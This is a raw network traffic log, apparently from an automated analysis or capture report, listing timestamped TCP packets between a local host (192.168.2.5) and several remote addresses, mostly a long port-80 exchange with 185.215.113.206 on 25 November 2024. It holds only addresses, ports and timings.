Nov 25, 2024 14:14:44.819654942 CET	49857	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:44.819664001 CET	443	49857	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:44.819730043 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.819794893 CET	49857	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:44.819796085 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.819870949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.819915056 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.819941998 CET	49858	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:44.819952011 CET	443	49858	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:44.820204973 CET	49854	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:44.820215940 CET	443	49854	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:44.820219994 CET	49858	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:44.820380926 CET	49855	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:44.820396900 CET	443	49855	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:44.820425034 CET	49856	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:44.820437908 CET	443	49856	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:44.820533991 CET	49857	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:44.820547104 CET	443	49857	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:44.820657969 CET	49858	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:44.820677042 CET	443	49858	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:44.820700884 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.820750952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.821221113 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.821273088 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.821708918 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.821768999 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.822041988 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.822113991 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.822849989 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.822961092 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.823055029 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.823668957 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.823760033 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.823813915 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.823863983 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.824626923 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.824686050 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.824743032 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.824839115 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.825781107 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.825861931 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.826361895 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.826641083 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.826653957 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.826719999 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.827472925 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.827756882 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.838443995 CET	49859	443	192.168.2.5	18.164.116.98
Nov 25, 2024 14:14:44.838479042 CET	443	49859	18.164.116.98	192.168.2.5
Nov 25, 2024 14:14:44.838706970 CET	49859	443	192.168.2.5	18.164.116.98
Nov 25, 2024 14:14:44.838902950 CET	49859	443	192.168.2.5	18.164.116.98
Nov 25, 2024 14:14:44.838916063 CET	443	49859	18.164.116.98	192.168.2.5
Nov 25, 2024 14:14:44.893559933 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.893630028 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.893687963 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.893699884 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.893734932 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.893745899 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.893786907 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.894697905 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.894756079 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.894831896 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.894877911 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.895895958 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.895929098 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.895952940 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.895963907 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.930680037 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.930746078 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.930753946 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.930804968 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.931128979 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.931197882 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.931243896 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.931720972 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.931785107 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.931821108 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.931864023 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.932553053 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.932565928 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.932615995 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.933501005 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.933553934 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.933581114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.933624983 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.934222937 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.934262991 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.934297085 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.934571981 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.934861898 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.934906006 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.934990883 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.935103893 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.935703993 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.935758114 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.935781002 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.935883999 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.936336040 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.936403036 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.936537981 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.936577082 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.937412977 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.937458992 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.937829971 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.937956095 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.938430071 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.938477993 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.938565016 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.938621998 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.939367056 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.939387083 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.939413071 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.939429998 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.940351963 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.940395117 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.940402031 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.940466881 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.941114902 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.941203117 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.941211939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.941328049 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.942006111 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.942044973 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.942131996 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.942168951 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.942722082 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.942764997 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.942804098 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.942847013 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.943387985 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.943428040 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.943511963 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.943550110 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.965430975 CET	443	49844	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:44.967473984 CET	49844	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:44.967504978 CET	443	49844	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:44.967966080 CET	49844	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:44.967973948 CET	443	49844	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:44.997446060 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.997565031 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.997770071 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.997837067 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.997869968 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.997910023 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.998003006 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.998096943 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.998863935 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.998914957 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.999310017 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.999408007 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.999722004 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.999783993 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.999870062 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.999933958 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.000709057 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.000756979 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.001058102 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.001110077 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.001869917 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.001919985 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.002012968 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.002063036 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.002482891 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.002546072 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.002608061 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.002676964 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.003434896 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.003500938 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.003534079 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.003633022 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.004446030 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.004493952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.004762888 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.004817009 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.005341053 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.005471945 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.005480051 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.005518913 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.006216049 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.006283998 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.006906986 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.006957054 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.007093906 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.007148981 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.007325888 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.007375956 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.008145094 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.008240938 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.008393049 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.008443117 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.008944988 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.008992910 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.009067059 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.009114027 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.010097980 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.010262966 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.010344982 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.010396004 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.010952950 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.011022091 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.120554924 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.218513012 CET	443	49845	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:45.218796968 CET	49845	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:45.218825102 CET	443	49845	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:45.219310045 CET	443	49845	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:45.220005989 CET	49845	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:45.220092058 CET	443	49845	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:45.220191956 CET	49845	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:45.241441011 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.267328978 CET	443	49845	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:45.283390045 CET	49860	443	192.168.2.5	20.110.205.119
Nov 25, 2024 14:14:45.283405066 CET	443	49860	20.110.205.119	192.168.2.5
Nov 25, 2024 14:14:45.283580065 CET	49860	443	192.168.2.5	20.110.205.119
Nov 25, 2024 14:14:45.283776045 CET	49860	443	192.168.2.5	20.110.205.119
Nov 25, 2024 14:14:45.283791065 CET	443	49860	20.110.205.119	192.168.2.5
Nov 25, 2024 14:14:45.420308113 CET	443	49844	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:45.420478106 CET	443	49844	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:45.420541048 CET	49844	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:45.420722008 CET	49844	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:45.420749903 CET	443	49844	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:45.424355030 CET	49861	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:45.424391985 CET	443	49861	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:45.424459934 CET	49861	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:45.424644947 CET	49861	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:45.424657106 CET	443	49861	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:45.444574118 CET	443	49846	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:45.444947958 CET	49846	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:45.444964886 CET	443	49846	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:45.445326090 CET	443	49846	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:45.445667982 CET	49846	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:45.445749044 CET	443	49846	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:45.445960045 CET	49846	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:45.491332054 CET	443	49846	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:45.568886042 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.568984032 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.569267035 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.569318056 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.569324970 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.569336891 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.569364071 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.569392920 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.570250034 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.570316076 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.570321083 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.570357084 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.571146011 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.571294069 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.571698904 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.571749926 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.572124958 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.572241068 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.573292971 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.573379040 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.693620920 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.693641901 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.693701029 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.693737030 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.693979979 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.694032907 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.694119930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.694178104 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.694288015 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.694375992 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.695045948 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.695101023 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.695274115 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.695370913 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.695943117 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.695991039 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.696026087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.696078062 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.696881056 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.696930885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.697048903 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.697097063 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.697807074 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.697853088 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.698012114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.698071957 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.698733091 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.698793888 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.698817968 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.698862076 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.699680090 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.700052977 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.700107098 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.700566053 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.700613022 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.701318979 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.701420069 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.701570988 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.701582909 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.701632977 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.701643944 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.702440977 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.702488899 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.702858925 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.702905893 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.703811884 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.703862906 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.819139957 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.819231033 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.820314884 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.820400953 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.822251081 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.822345972 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.822408915 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.822462082 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.822485924 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.822499990 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.822542906 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.822545052 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.822563887 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.822588921 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.822622061 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.822727919 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.822741032 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.822776079 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.822798014 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.823932886 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.823987007 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.824225903 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.824276924 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.824881077 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.824937105 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.825237989 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.825285912 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.825903893 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.825916052 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.825968027 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.826711893 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.826775074 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.827020884 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.827075958 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.827531099 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.827543974 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.827579975 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.827611923 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.828506947 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.828561068 CET	49760	80	192.168.2.5	185.215.113.206
